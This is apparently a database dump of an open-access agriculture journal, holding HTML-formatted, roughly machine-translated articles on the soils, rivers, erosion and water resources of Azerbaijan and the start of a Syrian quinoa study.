under the influence of grassy vegetation. These soils are well expressed in the humus horizon. Alpine region occupied by sub-alpine and alpine meadows, is a rich pasture [8-10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.1. Brown Mountain-Forest Land:</strong> Ozone of Northern and North-eastern slopes of the Lesser Caucasus, the southern and northern slopes of the main Caucasian Ridge formed under the beech and hornbeam-beech forests.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.2. Brown Mountain-Forest Land:<em> </em></strong>Are located under the cover of dry forest with dense grass stand. 3-4% content of humus, humic acids predominate over fulvoacids-alkaline reaction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.3. Soil Dry Steppe: </strong>Gray-Brown Earth soils desert steppes. occupy a strip of the foothills and low mountains with moderately warm and moist climate, where poluvlazhnym semi-moist dominates steppe vegetation. Gray-Brown Earth well humidified flowing from the slopes atmospheric precipitation. Named soils developed in deluvial rocks and forests, they have good moisture-holding capacity and provide vegetation moisture. Grey-brown soil of Nakhichevan AR compared to other areas of Azerbaijan contain less humus.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.4. Gray: </strong>In strechajutsja on the Kur depression, Nakhichevan AR on the flat part in terms of climate poluaridnogo semi-arid. Depending on soil conditions, the nature of the species, salinity, they are divided into subtypes. Since the climate in the grey zone of soil is characterized by hot and dry continental climate vegetation of this zone is poor and does not form a continuous turfing. Accumulation of humus is negligible. Saline and alkaline soils develop in terms of climate semi-arid poluaridnogo [11,12]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These soils contain in their profile highly soluble salts in toxic for crops. The formation of saline soils is associated with the accumulation of salts in groundwater and rocks and the conditions conducive to their accumulation in soils. Common in Mil, Shirvan, Salyan Plains.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soils of Floodplain Soils of the Flood develop on river valleys. Alluvial and alluvial-forest soils with the participation of their river are created. It should be recognized that alluvial soil provides natural fertilizer, the more fertile the food, the more it develops natural vegetation in the floodplain.<strong> [<em> </em></strong><em>r </em>azvivajutsja] has evolved on river valleys. Is alluvial and alluvial-forest soils have been formed with the participation of the they fluvial. Alluvial provide natural fertilizer than plodorodnee napilok is, the more it develops natural vegetation in the floodplain.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soil Moist Subtropical Climate<strong> </strong>common in Lankaran region, mainly zhovtozemah, yellow earth, poor in humus with sour reaction, slightly opodzolennaja podzolic are polyvalent metals (Fe, Al). In a small number of Experimental zones there are also red soils. It has been established that these soils have developed on the krasnocvetnoj red crust of weathering on damp subtropics with a predominance of podzolicstogo process, characteristic in acidic Wednesday. But on the other hand signs podzolic opodzolivanija manifested not clear-cut, since decomposition of organic substance formed a large number of bases and neutralizes the acidic reaction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>7. Hydrography</strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hydrographic network in Azerbaijan formed over a long period and of tectonic processes experienced various changes. Under human activities and natural processes, it and now continues to change.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the Republic of nachityvaetsja 1000-1200 rivers in General, most of them long, or more than 100 km-21, from 5 to 100 km-67 rivers, length of 5 km and less-850 rivers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All the rivers in the Republic belong to the basin of the Caspian Sea. They can be divided into three groups:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>a)&nbsp;</strong>Kura river basin </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>b)&nbsp;</strong>river basin of the Aras, </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>c)&nbsp;</strong>River directly flowing into the Caspian Sea.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">River network is distributed unevenly in the territory of the Republic. In the mountains the hydrographic network strongly developed, depending on the terrain and abundance of precipitation. The greatest development of the hydrographic network reaches at altitudes of 1000-2500 m, medium mountain zone.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The largest water artery of Azerbaijan-Kura, within the Republic of its length is 900 km. It originates in Turkey, the length of the river is 1072 km. Between the main Caucasian Ridge and Lesser Caucasus is the Kura-Aras lowland, which carry their waters Kura and Arax.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">According to the method of feeding the River are divided into </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>a)&nbsp;</strong>Snow-soil. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>b)&nbsp;</strong>Rain-soil </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>c)&nbsp;</strong>Soil-rain. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>d)&nbsp;</strong>Soil-snow.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The first type consists of r. Kura River with highly located watershed. They belong to the North-East and the southern slope of the main Caucasian Ridge. [This Samur, Gusarchay and Turyan tributaries of the river Gumchai, Damiraparanchay. On these rivers rain feeding. The second type are the low-lying River watershed. Such rivers are found in the major and minor Caucasus and Lankaran region]. These are the Samur, Gusarchay and Turian tributaries of the Gumcha River, Damiraparanchay. On these rivers, rainy tributaries are fed. And the second type is the low-lying river watershed. Such rivers are found mainly in a small region of the Greater Caucasus and Lankaran. This is Divichichay, Ahchaj, Shabranchay, Kuru&ccedil;ay, flowing with Lateral Ridges North-East slope of the Great Caucasus and also the river current to Kobustanu. Tugchay, Atachay Rivers Traverse. Tea. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Here snow food is 5%. In the small Caucasus among rivers, with rain-soil nutrition include the rivers: Tauzchay, Ahyndzhchay, Dzhagirchay, Qarqar River, Kendelenchay, Kuru&ccedil;ay. A third type of food-soil-rain fall River, flowing from the South and the north eastern slopes of the main Caucasian Ridge, it is Dashagylchay, Aldzhiganchay, Turyan, Goychay, Velvelichay, Karachay. These River obvodnjajutsja supply with water at the expense of emerging on the surface of the groundwater. Here snow eating-not more than 20%. Republic of Lakes is poor. Largest of them is Lake Adzhikabul, Sarysu, Akgel. The most beautiful-Gek-Gel and Maralgel. The Caspian Sea is the largest lake in the world. It was formed in the second half of the anthropogenic p</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Alekperov ka (1961) soil erosion in Azerbaijan and fight against it. Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Grossgeym AA (1948) Vegetation cover of Caucasus&quot;. Ed. &quot;Moscow Society of Nature Testers&quot;, Moscow.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Agriculture balance Azeri. (1969) SSR &quot;, Baku,&quot; Elm &quot;.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Shyhlinskiy E (2000) Climate of Azerbaijan&quot;. Baku. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Budagov BA (1993) Relief of Azerbaijan&quot;. Baku, &quot;Elm&quot;.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Qashqay MA (1939) Geological and petrographic sketch of the mineral Springs area. Istisu and their geochemical characteristics. Publishing house Azfan: ? 1.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev GA (1959) Soils of the Azerbaijan SSR. Elm Publishing House Azeri AS. SSR., Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliyev BH (1999) History of Reclamation Science in Azerbaijan, prospects of its development and methodology&quot;, ed. &quot;Elm&quot;, Baku: 112</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliyev BH (1994) Irrigation technique in Azerbaijan. Publishing House Azerneshr Baku: 1: 236.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev BH (2008) The problem of desertification in Azerbaijan and ways to resolve it, &quot;Ziya-Naji&quot; publishing house Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sticky LI (1964) Forest vegetation of Azerbaijan. Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Shyhlinskiy E (1968) Thermal from Azerbaijan. Baku, Ed-in &quot;En, Azeri. SSR: 341-344.</span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/2739280c.jpg\" style=\"height:217px; width:284px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1: </strong>Geographical Map Republic of Azerbaijan.</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/28babec0.jpg\" style=\"height:198px; width:272px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong><span style=\"font-size:16px\"><strong> </strong></span>Map of research objects on the study of erosion hazard of soils in Azerbaijan.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Oglu AZH (2018) Features, Nature and Economic Conditions of Azerbaijan. Open Acc J Agri Res: OAJAR-100003. </span></p>\r\n','','1539105441.pdf',NULL,'1539105441.jpg','',0,1,'2018-10-09 22:47:22','2018-10-16 01:18:10',1),(15,35,'20','2018','Scientific Concept of Solving Various Agricultural Problems in Azerbaijan','B. H. Aliyev*, Z. H. Aliev','Mini Review','Scientific-Concept-of-Solving-Various-Agricultural-Problems-in-Azerbaijan','Scientific Concept of Solving Various Agricultural Problems in Azerbaijan','Scientific Concept of Solving Various Agricultural Problems in Azerbaijan','Scientific Concept of Solving Various Agricultural Problems in Azerbaijan','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Open Access Journal of Agriculture Research</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scientific Concept of Solving Various Agricultural Problems in Azerbaijan</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>B. H. Aliyev<sup>*</sup>, Z. H. Aliev</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Erosion and Irrigation of ANAS, Azerbaijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>*</sup><strong>Corresponding author:</strong> B.H.Aliyev, Institute of Erosion and Irrigation of ANAS, Azerbaijan. Email: <a href=\"mailto:zakirakademik@mail.ru\">zakirakademik@mail.ru</a> </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Aliyev BH, Aliev ZH (2018) Scientific Concept of Solving Various Agricultural Problems in Azerbaijan. Open Acc J Agri Res: OAJAR-100004.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>25 August, 2018; <strong>Accepted Date:</strong> 10 September, 2018; <strong>Published Date:</strong> 10 October, 2018</span></p>\r\n','','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Evaluation State of Water and Land Resources of Azerbaijan</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The total area of the republic is 8641500 hectares, of which 55 per cent of its ie: 4,756,500 hectares, is made suitable for agriculture. or 16.6 percent of the total area of 1,432,600 hectares, or some, of the irrigated lands. 1808400 hectares of the total balance of the land is one of arable land available for agriculture. It should be noted that of the 181,600 hectares of the total available arable land is under occupation by Armenian Aggressors Used. 224,700 hectares of arable land, permanent crops, 117.6 thousand hectares of hayfields, pastures 2560.0 thousand hectares, 45.7 hectares of fallow areas. Domestic households 258100 hectares (227600 hectares of arable land), 1.0388 million hectares included in the proportion of forest plantations areas.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Due to the increasing population, now that there are about 10-million people, the land use under non-agricultural projects and allocated for the construction of individual buildings and structures, is highly developed in certain types of soil erosion, and on the other hand, the rise of the groundwater level as a result of lifting in sea level rise is not the correct reference agromeliorative measures production areas in some farms, the use of a violation of the rules without environmentally dangerous technology of cultivation of crops, and agricultural machinery, the area per capita arable reduced from year to year [1-3]. If allocated to the share per person in 1959 was 0.36 ha of arable land, this figure was in 1970, 0.23 hectares, 0.21 hectares in 1979, while it decreased to 0,155 hectares in 2006 [4].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">60% of the entire territory located the mountainous part of the republic. Because of the influence of natural and anthropogenic factors here, and can occur in all types of erosion [5]. As a result of our numerous research examining patterns of development problems of land degradation, and landscape in some regions, it was found that the erosion process is very widely distributed (especially in mountainous areas) in the country.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Currently, more than 42.8% of the entire territory of the country, 70-85% in some regions suffer from various degrees of erosion [5,6]. One of the biggest factors of water and irrigation erosion. The dominant republic in the duration of furrow irrigation and overlap, agro-technical measures, regardless of any land protection, agriculture, horticulture and livestock cause soil erosion [2,7]. However, the country is facing acute water shortage conditions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Water resources of the country is 32.5 billion m3. In dry years, this figure is reduced by the amount 23,16mlrd. m3. The volume of water resources in the country to spend only 30%, while the remaining 70% of the flow through neighboring countries [4]. It should be noted that in conditions of constant shortage of water, dramatically uneven distribution of water in the country, despite the economic and environmental efficiency of crop irrigation, not primitive, traditional or pouring is carried out irrigation method.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The results of the study revealed that 96% of irrigated land is watered mostly traditional irrigation methods (furrow and overlap) by surface methods and the remaining 5% - while in the irrigated fields watered using advanced low-intensity water-saving irrigation systems. Therefore, and in the fields, the ground water level is increasing every Denham. In fact, in a number of areas, underground water, arable land available around 1000 thousand. Ha affected by salinization, which caused a particular danger in the disruption of the ecological balance of the country.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Currently, more than 53 thousand hectares of sown areas of the Kura-Araz lowland endured great danger as the strongly saline soils as a result of the floods, which came out of crop rotation plots of land the population of these regions of Azerbaijan, which require thorough rinsing of the soil of life-threatening salts of various kinds [2,4,6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The results of monitoring studies revealed comparative figures for water availability, 3 Transcaucasia states: Georgia, Armenia and Azerbaijan, a follower of water resources at their 70, 25 and 10 billion km3, respectively.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Annual per capita water resource person in these countries, as the serial 11000, 3000, and 1500m3 / person. According to research, 2020, show the annual water resources per capita in Azerbaijan&#39;s turn in 2 times less than in Armenia, and 7 times less than in Georgia. It is believed that water is very important to the economy of each country, especially in the industrial and manufacturing sector, and in agriculture is a key element of life.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Steps in Destruction of Soil Erosion and Methods of Combating it in Azerbaijan</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The degree of destruction of soil erosion:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Degree 1 </strong>- slight erosion -vstrechaetsya mainly in a surface-flush invisible to the eye. Its traces in the form of small potholes and sediment, easily aligned in the agronomic soil treatment.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 2</strong> - moderate erosion - is shown in the form of ruts, changes in soil humus level reducing amount thereof deteriorates the physicochemical properties of the soils. This process does not affect the formation of the relief.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 3 </strong>- Average erosion - intensive destroys pahodno-humus layer, reaching even to the parent rock. Ruts and grooves are numerous, deep and not be corrected as a result of the treatment process, the reasons for the formation of undulations slopes.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 4 -</strong> severe erosion - destroys the whole soil profile, formed ruts and grooves that make more and more deeply into the bedrock layer. The result is a so-called erosion landscape with characteristic dismemberment of soil and the formation of gullies.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Degree 5 </strong>- very strong erosion - blurs the whole soil profile, together with part of the foot. This leads to a strong fragmentation of the soil cover, creating a dense network of ravines, and to the conversion of agricultural areas in the wasteland.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The degree of destruction of soil wind erosion:</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 1 </strong>- weak erosion is caused by a slight blowing from the soil of the best and most valuable colloid, clay and dust particles. Blowing it does not affect the condition of the soil;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 2</strong> - moderate erosion starts already to some extent, restrict soil humus for blowing large quantities of mineral and organic substances, compared with the weak erosion.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 3 </strong>- Average erosion can significantly reduce the humus content due to the significant amount of mineral and organic particles and cause damage to crops.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Grade 4 </strong>- severe erosion leads to changes in the soil profile. These soils are subject to strong blowing, have a clearly reduced level of humus, which accumulates in the wind drifts.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Degree 5</strong> - very strong erosion leads to the formation of dunes. Heavily eroded land must be completely covered by forests.</span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Such views became the basis for the development of programs to protect land from erosion degradation for the whole country. Large-scale accounting was held only in those places for which the Plans or projects for the development and organization of the economy. In this model does not account for research technique</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The degree of destruction of soil wind erosion:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In order to study the spread of habitats and development intensity erosion contact field and laboratory research methods were used. The phenomenon of soil erosion and areas of its distribution izisalis relatively <strong>-</strong>geographically, stationary and semi-stationary methods.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The decisive role of the terrain in the manifestation and development of well-known soil erosion. This is most clearly expressed by the factors of the nature of mountain areas are the slope of the surface, the depth of the local bases and exposure of slopes. Therefore, based on topographic maps at 1: 50,000 were drawn with the same name card erosion factors for the study area.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In drawing up the map the surface slopes following graduation were adopted: 0-30; 3-50; 5-70; 7-100; 10-150; 15-200; 20-250; 25-300; 30-450; and more than 450. For the distribution of land on the slopes of the surface used indicators weighted average value deviations proposed M.N.Zaslavskim (1979)</span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/30c1b72f.jpg\" style=\"height:46px; width:189px\" /></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">where J<sub>hsr.vzv</sub>. - weighted average value deviations</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;i<sub>1</sub>; i<sub>2</sub>; in - slope dedicated circuits</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;s<sub>1</sub>; s<sub>2</sub>; s<sub>n</sub>-removed - the area allocated contours% of the total area.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Maps depth local erosion bases was compiled by determining the watersheds above the beds of rivers and their tributaries, as well as large ravines and 0-50;: To compile this card the following grading was adopted 50-100; 100-150; 150-200; 200-250; 250-300; 300-400; 400-500 and more than 500 m. [5]. Slopes exposure map was compiled on the basis of topographical and distinguished: the northern, northeastern, northwestern, eastern, southern, south-eastern, south-western exposure. During the classification S.S.Soboleva (which is described in the book I.F.Sadovnikova 1954) was applied soil erosion research. Based on this classification, the degree of erosion of soils were allocated as follows:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Been wiped out of the soil - has all the genetic horizons, the destruction is not observed;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soil with lightly - not washed away more than half of the humus horizon A education inkjet erosion is observed on the soil surface.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soils of an average of erosion - more than half of the genetic horizon A is absent.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Strong soil of erosion - completely washed horizon A, and partially passes the horizon B.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Improved pastures eroded soils of Azerbaijan</span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The territory of the Republic of Azerbaijan is located in the eastern part of the Caucasus, this includes the area of ??the Greater and Lesser Caucasus, Talysh zone, Kur River lowland. The total area of ??the republic is 86.6 thousand. Km2, about 40% of the land area consists of plains, the remaining 60% of the foothill and mountain areas. Climatic conditions varied republic being a mountainous country, the country at the same time has extensive lowlands, valleys, and in connection with a variety of surface topography has a varied climate. From the invasion of cold air masses from the north of the republic protects the main Caucasian ridge.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Depending on the height above sea level, climatic conditions vary. Raised in the mountains the average temperature is lowered. Of the 11 types under the Climate, established on the globe, we found 9 under climate types, there is no climate of savannas and tropical forests climate. Typical soil types are mountain-meadow turf, then mountain-forest soils in the foothills and piedmont plains of common gray-brown, in the arid zone of gray-brown, in the Talysh zone yellow land area.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Despite the small area of ??the republic has a variety of natural conditions and rich natural resources. One of the natural resources in Azerbaijan are pastures. The area of ??pastures is 22.3% in the Republic of the total area. Summer pasture make up 621 thousand. Hectares, 1.5 million hectares of winter, at rural pastures and hayfields are about 1 million hectares. It is known that the Azerbaijan Republic anciently different branch of the animal-production. Our region is rich in natural pasture and grassland, located in the alpine areas, it is a natural resource.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">However, due to various circumstances, including soil erosion, these natural food resources lose their potential fertility. One of these circumstances is soil erosion.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Erosion is the destruction, erosion, as a geological term is the destruction of topsoil by wind and water.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The top sheet crust as a result of processes occurring in nature, is subject to various changes. This process can occur as a normal natural phenomenon, as intense as a result of anthropogenic load. In any of the cases 2 topsoil exposed washout. Regardless of the type of erosion is carried away by the most developed fertile upper accumulation horizon.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">However, water streams and solid phase of soil nutrients are carried away from the fine fraction and depending on the degree of erosion, damage caused by erosion is different. It should also be noted that we, along with display of water erosion wind erosion - deflatio -also great.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Wind erosion is intensively manifested in the arid zone, where the dry climate, increased wind regime, the insignificance of precipitation contributes to the degradation of the vegetation cover. The intensity of wind erosion in comparison with the water is low. However, the damage caused by wind erosion agriculture enormous. Wind erosion on the one hand contributes to blowing soil, on the other hand the accumulation of particles in the form of a hill, the shifting sands poured vegetable and melon crops, roads, construction sites, squally winds tear off roofs from houses. Natural fodder lands are located on the eroded slopes have low productivity.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Scientific concept of solving various problems in Azerbaijan agrosystems surface improving natural hayfields and pastures is to improve water, air and food modes, taking care of herbage, the longest time to hold the grasslands in a state of economic value. Surface improvement expedient in the meadows, where the herbage remained 20-25% of forage grasses. On the grasslands and pastures with herbage worst surface improvement does not provide the desired effect, and should be a fundamental research on them.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev ZH (1990) Aerospace monitoring of the dynamics of soil // Aerospace methods in soil science and its use in agriculture. - M: Science: P55-60. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">BH?liyev, ?CMusayev (2003) ??Ibrahimov mountain zone of the Republic of Azerbaijan are dangerous and eroded soil erosion agriculture ways to increase efficiency. // M.Ziya-Nurlan. Baku 80.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vinogradov BV (1984) Aerospace ecosystem monitoring // M: Nauka: 320.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dzhafarov AB (2009) Agroecological assessment and grouping of pasture lands of Azerbaijan, Coll. scientific papers Research Institute GTiM 29th that Iflu-str: 133-139</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vinogradov BV (1984) Aerospace ecosystem monitoring // M: Nauka: 320.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Zaslavsky MN (1963) Eroziovedenie, Moscow, Publishing House of the &quot;High School&quot; ctp.212.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mamedov GS (2000) Land reform in Azerbaijan: legal and scientific and environmental issues. Publishing house &quot;Elm&quot;, Baku: 372.</span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/315487c1.jpg\" style=\"height:196px; width:280px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1: </strong>Evaluation State of Water and Land Resources.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> <span style=\"font-size:12px\">Aliyev BH, Aliev ZH (2018) Scientific Concept of Solving Various Agricultural Problems in Azerbaijan. Open Acc J Agri Res: OAJAR-100004.</span></span><span style=\"font-size:12px\"> </span></p>\r\n','','1539108952.pdf',NULL,'1539108952.jpg','',0,1,'2018-10-09 23:45:52','2018-10-23 23:30:25',1),(16,35,'20','2018','Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria',' Entessar Al Jbawi1*, Rasha Danoura1 and Abdallah Yaacoub2','Research Article','Effect-of-Deficit-Irrigation-and-Manure-Fertilizer-on-Improving-Growth-and-Yield-of-Quinoa-in-Syria','Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria','Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria','Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Open Access Journal of Agriculture Research</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Effect of Deficit Irrigation and Manure Fertilizer </strong><strong>on Improving Growth and Yield of Quinoa in Syria</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<strong>Entessar Al Jbawi</strong><strong>1*</strong><strong>, Rasha Danoura</strong><strong>1 </strong><strong>and Abdallah Yaacoub</strong><strong>2</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1General Commission for Scientific Agricultural Research (GCSAR), Syria</span></p>\r\n\r\n<p 